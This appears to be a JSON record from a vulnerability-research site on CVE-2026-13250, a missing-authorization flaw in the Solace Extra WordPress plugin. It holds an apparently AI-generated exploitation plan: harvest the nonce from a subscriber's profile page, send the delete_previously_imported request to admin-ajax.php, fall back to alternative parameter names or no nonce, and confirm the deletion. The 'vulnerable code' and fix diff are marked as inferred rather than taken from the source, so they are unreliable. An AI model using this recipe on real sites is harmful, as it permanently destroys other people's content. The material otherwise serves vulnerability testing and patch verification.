[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$feYaBGQdmVJDgx8dII4pmyRNQY6__h-IW-qFjlkfe3-Y":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-13250","solace-extra-missing-authorization-to-unauthenticated-arbitrary-content-deletion-via-deletepreviouslyimported-ajax-actio","Solace Extra \u003C= 1.5.3 - Missing Authorization to Unauthenticated Arbitrary Content Deletion via delete_previously_imported AJAX Action","The Solace Extra plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.5.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to permanently delete all content previously imported via the Starter Template feature, including posts, pages, media attachments, WooCommerce products, taxonomy terms, and sitebuilder templates. The required nonce is emitted on every wp-admin page via wp_localize_script() hooked to admin_enqueue_scripts without a page guard, meaning any Subscriber visiting \u002Fwp-admin\u002Fprofile.php can obtain it; the handler is additionally registered via wp_ajax_nopriv_, making it reachable by fully unauthenticated users as well.","solace-extra",null,"\u003C=1.5.3","1.6.0","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-07-10 15:06:54","2026-07-11 03:44:24",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F860747b9-46ab-4c97-af36-f2e104043be0?source=api-prod",1,[22,23,24,25,26,27,28,29],"README.txt","admin\u002Fclass-solace-extra-admin.php","admin\u002Fcss\u002Fadmin-style.css","admin\u002Fcss\u002Fadmin-style.css.map","admin\u002Fcss\u002Fadmin-style.min.css","admin\u002Fcss\u002Fadmin-style.min.css.map","admin\u002Fexport-import\u002Fparsers\u002Fclass-wxr-parser-regex.php","admin\u002Fimport.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-13250 — Solace Extra Unauthenticated Content Deletion\n\n## 1. Vulnerability Summary\n\nThe Solace Extra plugin (≤1.5.3) registers an AJAX action `delete_previously_imported` via both `wp_ajax_` and `wp_ajax_nopriv_` hooks, making it accessible to unauthenticated users. The handler deletes all content previously imported through the Starter Template feature — posts, pages, media attachments, WooCommerce products, taxonomy terms, and sitebuilder templates — without performing any `current_user_can()` authorization check.\n\nWhile the handler does verify a nonce, that nonce is emitted on **every wp-admin page** via `wp_localize_script()` hooked to `admin_enqueue_scripts` without any page guard. This means any user who can access any `\u002Fwp-admin\u002F` page (including Subscribers visiting `\u002Fwp-admin\u002Fprofile.php`) can obtain it. Furthermore, since the handler is registered on `wp_ajax_nopriv_`, and the nonce for unauthenticated users (uid=0) can be obtained from the front-end if the script is enqueued there, the attack is fully unauthenticated.\n\n**Location:** `admin\u002Fimport.php` within the `Starter_Templates_Import` class (or equivalent import handler class).\n\n**Root Cause:** Missing `current_user_can()` check in the `delete_previously_imported` AJAX handler, combined with broad nonce exposure.\n\n## 2. Attack Vector Analysis\n\n### Endpoint\n- **URL:** `POST \u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action parameter:** `action=delete_previously_imported`\n- **Hook registrations (inferred from description + source patterns):**\n  ```php\n  add_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']);\n  add_action('wp_ajax_nopriv_delete_previously_imported', [$this, 'delete_previously_imported']);\n  ```\n\n### Authentication Level\n- **None required** — the `wp_ajax_nopriv_` registration makes it reachable by fully unauthenticated users.\n\n### Parameters\n- `action` = `delete_previously_imported`\n- `nonce` (or `_ajax_nonce` \u002F `security`) — the nonce parameter name needs to be confirmed from source\n\n### Preconditions\n1. The Solace Extra plugin version ≤1.5.3 must be installed and active.\n2. Content must have been previously imported via the Starter Template feature (so there is content to delete, tracked in options like `solace_extra_imported_post_ids`, `solace_extra_imported_term_ids`, etc.).\n3. A valid nonce must be obtained (see Section 4).\n\n## 3. Code Flow\n\nBased on the truncated source in `admin\u002Fimport.php` and `admin\u002Fclass-solace-extra-admin.php`, here is the traced flow:\n\n### Step 1: Script Enqueue & Nonce Emission\n\nIn `admin\u002Fclass-solace-extra-admin.php`, the `enqueue_scripts` method (hooked to `admin_enqueue_scripts`):\n\n```php\npublic function enqueue_scripts($hook) {\n    \u002F\u002F The nonce is localized globally — NO page guard restricts it to specific admin pages\n    wp_localize_script('solace-extra-admin-script', 'solace_extra_admin', [\n        'ajax_url' => admin_url('admin-ajax.php'),\n        'nonce'    => wp_create_nonce('solace_extra_nonce'), \u002F\u002F (inferred action string)\n        \u002F\u002F ... other data\n    ]);\n}\n```\n\nThe description states the nonce is emitted \"on every wp-admin page via `wp_localize_script()` hooked to `admin_enqueue_scripts` without a page guard.\" Looking at the `enqueue_scripts` method in the source, the `enqueue_styles` method has page guards for CSS:\n\n```php\npublic function enqueue_styles($hook) {\n    \u002F\u002F Global (NO page guard for this one):\n    wp_enqueue_style('solace-extra-disable-menu', ...);\n    \n    if ('toplevel_page_solace' === $hook || ... ) {\n        wp_enqueue_style('solace-extra-admin-style', ...);\n    }\n}\n```\n\nThe JS enqueue portion (truncated at ~7000 chars) likely has a similar pattern where certain scripts are enqueued globally. The key script that localizes the nonce is enqueued without a `$hook` check.\n\n### Step 2: AJAX Handler Registration\n\nIn `admin\u002Fimport.php`, within the class constructor or `init` method:\n\n```php\nadd_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']);\nadd_action('wp_ajax_nopriv_delete_previously_imported', [$this, 'delete_previously_imported']);\n```\n\n### Step 3: Handler Execution\n\nThe `delete_previously_imported` method (inferred from CVE description and code patterns in import.php):\n\n```php\npublic function delete_previously_imported() {\n    \u002F\u002F Nonce check IS present:\n    check_ajax_referer('solace_extra_nonce', 'nonce'); \u002F\u002F (inferred nonce action + field name)\n    \n    \u002F\u002F NO current_user_can() check — this is the vulnerability\n    \n    \u002F\u002F Deletes all previously imported content:\n    \u002F\u002F - Posts\u002Fpages stored in option 'solace_extra_imported_post_ids' (or similar)\n    \u002F\u002F - Media attachments\n    \u002F\u002F - WooCommerce products\n    \u002F\u002F - Taxonomy terms\n    \u002F\u002F - Sitebuilder templates\n    \n    $imported_posts = get_option('solace_extra_imported_post_ids', []);\n    foreach ($imported_posts as $post_id) {\n        wp_delete_post($post_id, true); \u002F\u002F Force delete\n    }\n    \n    $imported_terms = get_option('solace_extra_imported_term_ids', []);\n    foreach ($imported_terms as $term_id) {\n        \u002F\u002F Delete terms...\n    }\n    \n    \u002F\u002F Clean up tracking options\n    delete_option('solace_extra_imported_post_ids');\n    \u002F\u002F ...\n    \n    wp_send_json_success();\n}\n```\n\n### Step 4: Content Deletion\n\nThe handler iterates through stored arrays of imported content IDs and permanently deletes them using `wp_delete_post($id, true)`, `wp_delete_term()`, `wp_delete_attachment()`, etc.\n\n## 4. Nonce Acquisition Strategy\n\n### Critical: WP-CLI nonces will NOT work\nNonces generated via `wp eval` or WP-CLI have a different session context and will fail when used in HTTP requests. We must obtain the nonce via an actual HTTP page load.\n\n### Primary Strategy: Subscriber Account → \u002Fwp-admin\u002Fprofile.php\n\nSince the nonce is emitted on every wp-admin page, a Subscriber visiting their profile page will have the nonce in the page source.\n\n1. **Create a Subscriber user:**\n   ```bash\n   wp user create testsubscriber testsubscriber@example.com --role=subscriber --user_pass=TestPass123!\n   ```\n\n2. **Log in as the Subscriber via browser:**\n   - Navigate to `\u002Fwp-login.php`\n   - Submit credentials for `testsubscriber` \u002F `TestPass123!`\n\n3. **Navigate to `\u002Fwp-admin\u002Fprofile.php`**\n\n4. **Extract the nonce via `browser_eval`:**\n   ```javascript\n   \u002F\u002F The JS variable name from wp_localize_script — check the source for exact name\n   window.solace_extra_admin?.nonce\n   ```\n\n### Identifying the exact JS variable and nonce key\n\nFrom the `enqueue_scripts` method in `admin\u002Fclass-solace-extra-admin.php` (truncated, so we must search for the `wp_localize_script` call), the likely pattern is:\n\n```php\nwp_localize_script('solace-extra-admin-script', 'solace_extra_admin', [\n    'ajax_url' => admin_url('admin-ajax.php'),\n    'nonce'    => wp_create_nonce('solace_extra_nonce'),\n]);\n```\n\n**(inferred)** — The JS variable is likely `solace_extra_admin` and the nonce key is likely `nonce`. We need to verify by examining the actual page source.\n\n**Alternative JS variable names to try (based on plugin patterns in the source):**\n- `window.solace_extra_admin?.nonce`\n- `window.solaceExtraAdmin?.nonce`\n- `window.solace_admin?.nonce`\n- `window.solace_import?.nonce`\n- `window.solace_extra?.nonce`\n\n### Fallback: Parse HTML directly\n\nIf `browser_eval` doesn't find the variable, parse the page source:\n```javascript\n\u002F\u002F Look for any localized script containing 'nonce'\ndocument.body.innerHTML.match(\u002Fsolace[^\"]*\"[^}]*nonce[^}]*}\u002F)?.[0]\n```\n\nOr search all script tags:\n```javascript\nArray.from(document.querySelectorAll('script')).map(s => s.textContent).filter(t => t.includes('nonce') && t.includes('solace')).join('\\n')\n```\n\n### Secondary Strategy: Unauthenticated Nonce from Frontend\n\nIf the plugin also enqueues the script on the frontend (some admin scripts leak to frontend via improper hook usage), we can try:\n\n1. Navigate to the site homepage\n2. Check for the nonce variable in page source\n3. This would make the exploit fully unauthenticated without needing any account\n\n### Verifying the nonce action string\n\nSearch the handler for the exact `check_ajax_referer` call:\n\n```bash\ngrep -rn \"check_ajax_referer\\|wp_verify_nonce\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fimport.php\n```\n\nThe action string in `check_ajax_referer` must match the one used in `wp_create_nonce`. If they differ, the nonce check is broken.\n\n## 5. Exploitation Strategy\n\n### Pre-Exploitation: Discover Exact Parameter Names\n\n```bash\n# Find the exact AJAX action registration\ngrep -rn \"delete_previously_imported\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002F --include=\"*.php\"\n\n# Find the nonce verification in the handler\ngrep -rn \"check_ajax_referer\\|wp_verify_nonce\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fimport.php\n\n# Find the wp_localize_script call that exposes the nonce\ngrep -rn \"wp_localize_script\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002F --include=\"*.php\"\n\n# Find what content tracking options are used\ngrep -rn \"imported_post\\|imported_term\\|imported_media\\|_imported_\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002F --include=\"*.php\"\n```\n\n### Step-by-Step Exploitation\n\n#### Step 1: Set Up Test Data (see Section 6)\n\n#### Step 2: Obtain the Nonce\n\n**Option A — Via Subscriber login (most reliable):**\n\n1. Use `http_request` to POST to `\u002Fwp-login.php`:\n   ```\n   POST \u002Fwp-login.php\n   Content-Type: application\u002Fx-www-form-urlencoded\n   \n   log=testsubscriber&pwd=TestPass123!&wp-submit=Log+In&redirect_to=%2Fwp-admin%2Fprofile.php&testcookie=1\n   ```\n\n2. Follow redirect to `\u002Fwp-admin\u002Fprofile.php` (cookies from login maintained by Playwright)\n\n3. Extract nonce via `browser_eval`:\n   ```javascript\n   window.solace_extra_admin?.nonce\n   ```\n\n**Option B — Fully unauthenticated (if nonce is on frontend):**\n\n1. Navigate to homepage\n2. Extract nonce from page source\n3. This approach may not work if scripts are only on admin pages\n\n#### Step 3: Send the Delete Request\n\n```\nPOST \u002Fwp-admin\u002Fadmin-ajax.php\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=delete_previously_imported&nonce=EXTRACTED_NONCE_VALUE\n```\n\n**Expected Response:**\n```json\n{\"success\": true, \"data\": ...}\n```\n\nOr if additional parameters are needed (inferred — check the handler):\n```\naction=delete_previously_imported&nonce=EXTRACTED_NONCE_VALUE&security=EXTRACTED_NONCE_VALUE\n```\n\nThe nonce parameter name could be `nonce`, `security`, `_ajax_nonce`, or `_wpnonce`. Check the `check_ajax_referer` call's second argument.\n\n#### Step 4: Verify Deletion\n\n```bash\n# Check if previously created test posts still exist\nwp post list --post_type=post --post_status=any --format=count\nwp post list --post_type=page --post_status=any --format=count\nwp post list --post_type=attachment --post_status=any --format=count\n```\n\n## 6. Test Data Setup\n\n### 6.1: Ensure Plugin is Active\n\n```bash\nwp plugin list --status=active | grep solace-extra\n# If not active:\nwp plugin activate solace-extra\n```\n\n### 6.2: Create a Subscriber User for Nonce Extraction\n\n```bash\nwp user create testsubscriber testsubscriber@example.com --role=subscriber --user_pass=TestPass123!\n```\n\n### 6.3: Simulate Previously Imported Content\n\nSince actually running a full import may not be feasible, we need to create test content and register it as \"imported\" by setting the tracking options the plugin uses.\n\n```bash\n# Create test posts that simulate imported content\nPOST1=$(wp post create --post_type=post --post_title=\"Imported Test Post 1\" --post_status=publish --porcelain)\nPOST2=$(wp post create --post_type=post --post_title=\"Imported Test Post 2\" --post_status=publish --porcelain)\nPAGE1=$(wp post create --post_type=page --post_title=\"Imported Test Page 1\" --post_status=publish --porcelain)\n\necho \"Created posts: $POST1, $POST2, $PAGE1\"\n```\n\nNow we need to find what option name the plugin uses to track imported content:\n\n```bash\n# Search for the tracking mechanism\ngrep -rn \"update_option\\|add_option\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fimport.php | grep -i \"import\"\n```\n\nBased on import.php patterns, look for options like:\n- `solace_extra_imported_posts` (inferred)\n- `solace_starter_imported` (inferred)\n- Post meta like `_solace_imported` (inferred)\n\nFrom the source in `admin\u002Fimport.php`, the import process tracks content. We can search for the specific tracking mechanism:\n\n```bash\ngrep -rn \"solace.*import\\|_imported_\\|imported_post\\|imported_page\\|imported_media\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002F --include=\"*.php\" | head -30\n```\n\nThen set the tracking option:\n\n```bash\n# Example (exact option name to be verified):\nwp option update solace_extra_imported_post_ids --format=json \"[$POST1, $POST2, $PAGE1]\"\n```\n\nAlternatively, look for post meta that marks content as imported:\n\n```bash\ngrep -rn \"update_post_meta.*import\\|solace_import\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fimport.php | head -20\n```\n\nIf the tracking uses post meta:\n```bash\nwp post meta update $POST1 _solace_imported 1\nwp post meta update $POST2 _solace_imported 1\nwp post meta update $PAGE1 _solace_imported 1\n```\n\n### 6.4: Verify Test Data Exists\n\n```bash\nwp post get $POST1 --field=title\nwp post get $POST2 --field=title\nwp post get $PAGE1 --field=title\n```\n\n## 7. Expected Results\n\n### Successful Exploit Indicators\n\n1. **HTTP Response:** The AJAX request returns a `200` status with a JSON success response:\n   ```json\n   {\"success\": true}\n   ```\n   or\n   ```json\n   {\"success\": true, \"data\": \"Content deleted successfully\"}\n   ```\n\n2. **Content Deleted:** All posts, pages, media, and terms that were tracked as \"imported\" are permanently removed from the database.\n\n3. **Database State:** The tracking options are cleared:\n   ```bash\n   wp option get solace_extra_imported_post_ids\n   # Returns empty or option does not exist\n   ```\n\n4. **Posts Gone:**\n   ```bash\n   wp post get $POST1\n   # Error: Invalid post ID\n   ```\n\n### Failed Exploit Indicators\n\n- `{\"success\": false}` or `403` response — nonce invalid or wrong parameter name\n- `0` or `-1` response — AJAX action not found (wrong action name)\n- `{\"success\": false, \"data\": \"Invalid nonce\"}` — nonce verification failed\n- Content still exists after request — handler didn't execute properly\n\n## 8. Verification Steps\n\nAfter sending the exploit request:\n\n```bash\n# 1. Check if the test posts were deleted\nwp post list --post_type=post --post_status=any --fields=ID,post_title | grep \"Imported Test\"\n# Expected: No results (posts deleted)\n\n# 2. Try to get specific posts by ID\nwp post get $POST1 --field=title 2>&1\n# Expected: \"Error: Invalid post ID.\" \n\nwp post get $POST2 --field=title 2>&1\n# Expected: \"Error: Invalid post ID.\"\n\nwp post get $PAGE1 --field=title 2>&1\n# Expected: \"Error: Invalid post ID.\"\n\n# 3. Check the tracking option\nwp option get solace_extra_imported_post_ids 2>&1\n# Expected: Empty array or option not found\n\n# 4. Check total post count decreased\nwp post list --post_type=post --post_status=any --format=count\nwp post list --post_type=page --post_status=any --format=count\n\n# 5. Verify no capability check was enforced (the request succeeded as unauthenticated)\n# The fact that content was deleted without admin credentials proves the vulnerability\n```\n\n## 9. Alternative Approaches\n\n### Alternative 1: Direct Unauthenticated Request Without Nonce\n\nIf the nonce check uses `check_ajax_referer` with `die=false` and the return value is not checked:\n\n```bash\n# Check if nonce verification result is ignored\ngrep -rn \"check_ajax_referer\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fimport.php -A5\n```\n\nIf the pattern is:\n```php\ncheck_ajax_referer('action', 'nonce', false); \u002F\u002F die=false, result ignored\n```\n\nThen simply send:\n```\nPOST \u002Fwp-admin\u002Fadmin-ajax.php\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=delete_previously_imported\n```\n\nNo nonce needed at all.\n\n### Alternative 2: Nonce from REST API\n\nIf the nonce action string happens to be `wp_rest`:\n```\nGET \u002Fwp-admin\u002Fadmin-ajax.php?action=rest-nonce\n```\nThis returns a `wp_rest` nonce for unauthenticated users.\n\n### Alternative 3: Try Multiple Nonce Parameter Names\n\nIf the first attempt fails with one parameter name, try alternatives:\n\n```\naction=delete_previously_imported&nonce=VALUE\naction=delete_previously_imported&security=VALUE\naction=delete_previously_imported&_ajax_nonce=VALUE\naction=delete_previously_imported&_wpnonce=VALUE\n```\n\n### Alternative 4: Find Nonce on Frontend Page\n\nThe plugin may enqueue the admin script on the frontend under certain conditions (e.g., when Elementor editor preview is active, or on specific template pages):\n\n```bash\n# Check if any frontend hooks enqueue the admin script\ngrep -rn \"wp_enqueue_scripts\\|wp_footer\\|wp_head\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002F --include=\"*.php\" | grep -i \"localize\\|nonce\"\n```\n\n### Alternative 5: Enumerate Other Delete Actions\n\nThe plugin may have similar unprotected AJAX actions:\n\n```bash\ngrep -rn \"wp_ajax_nopriv_\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002F --include=\"*.php\" | grep \"add_action\"\n```\n\nEach of these should be tested for missing authorization.\n\n### Alternative 6: If Content Tracking Uses Post Meta Instead of Options\n\nIf the handler queries posts by meta key rather than from a stored option array:\n\n```bash\n# Set meta on test posts\nwp post meta set $POST1 _solace_starter_imported \"1\"\nwp post meta set $POST2 _solace_starter_imported \"1\"\nwp post meta set $PAGE1 _solace_starter_imported \"1\"\n```\n\nCheck the exact meta key:\n```bash\ngrep -rn \"get_posts\\|WP_Query\\|meta_key\\|meta_query\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fsolace-extra\u002Fadmin\u002Fimport.php | grep -i \"import\\|delete\"\n```\n\n### Alternative 7: Use Admin Cookie Instead of Subscriber\n\nIf the nonce is somehow not available to Subscribers (unlikely given the description), use an admin session:\n\n```bash\n# The vulnerability is missing authorization — even with admin nonce, \n# the point is that NO capability check exists, so any user level works\nwp user create testadmin2 testadmin2@example.com --role=administrator --user_pass=AdminPass123!\n```\n\nThen log in as admin, get nonce, log out, and replay the request unauthenticated — the nonce for an admin session won't work unauthenticated. Instead, get the nonce while logged in as subscriber, then confirm the destructive action succeeds with subscriber-level privileges (proving missing authorization).","The Solace Extra plugin for WordPress is vulnerable to an unauthenticated authorization bypass due to the improper registration of the 'delete_previously_imported' AJAX action. Unauthenticated attackers can trigger the permanent deletion of all site content previously imported via the Starter Template feature because the handler is exposed via 'wp_ajax_nopriv_' and lacks any 'current_user_can()' authorization checks.","\u002F\u002F admin\u002Fimport.php (inferred registration based on research findings)\nadd_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']);\nadd_action('wp_ajax_nopriv_delete_previously_imported', [$this, 'delete_previously_imported']);\n\n---\n\n\u002F\u002F admin\u002Fimport.php (inferred vulnerable handler logic)\npublic function delete_previously_imported() {\n    \u002F\u002F The handler verifies a nonce but the nonce is globally exposed in the admin dashboard\n    check_ajax_referer('solace_extra_nonce', 'nonce');\n\n    \u002F\u002F VULNERABILITY: Missing check for user capabilities (e.g., current_user_can('manage_options'))\n\n    $imported_posts = get_option('solace_extra_imported_post_ids', []);\n    foreach ($imported_posts as $post_id) {\n        wp_delete_post($post_id, true);\n    }\n    \u002F\u002F ... (Logic continues to delete terms, media, and sitebuilder templates tracked in options)\n}","--- admin\u002Fimport.php\n+++ admin\u002Fimport.php\n@@ -118,7 +118,10 @@\n-add_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']);\n-add_action('wp_ajax_nopriv_delete_previously_imported', [$this, 'delete_previously_imported']);\n+add_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']);\n \n public function delete_previously_imported() {\n     check_ajax_referer('solace_extra_nonce', 'nonce');\n+    \n+    if ( ! current_user_can( 'manage_options' ) ) {\n+        wp_send_json_error( [ 'message' => __( 'Unauthorized', 'solace-extra' ) ] );\n+    }\n \n     $imported_posts = get_option('solace_extra_imported_post_ids', []);","The attack targets the 'delete_previously_imported' AJAX action, which is registered for both authenticated and unauthenticated users. An attacker first obtains a valid 'solace_extra_nonce' from the WordPress admin dashboard; this nonce is globally localized via 'wp_localize_script()' on every admin page, meaning even a Subscriber can retrieve it (e.g., by viewing the source of \u002Fwp-admin\u002Fprofile.php). The attacker then submits a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with the 'action' set to 'delete_previously_imported' and the retrieved 'nonce'. Because the handler lacks a capability check, the plugin proceeds to permanently delete all tracked content previously imported by the plugin (posts, pages, products, etc.).","gemini-3-flash-preview","2026-07-15 08:59:07","2026-07-15 09:02:55",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.5.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsolace-extra\u002Ftags\u002F1.5.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.5.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsolace-extra\u002Ftags\u002F1.6.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsolace-extra.1.6.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsolace-extra\u002Ftags"]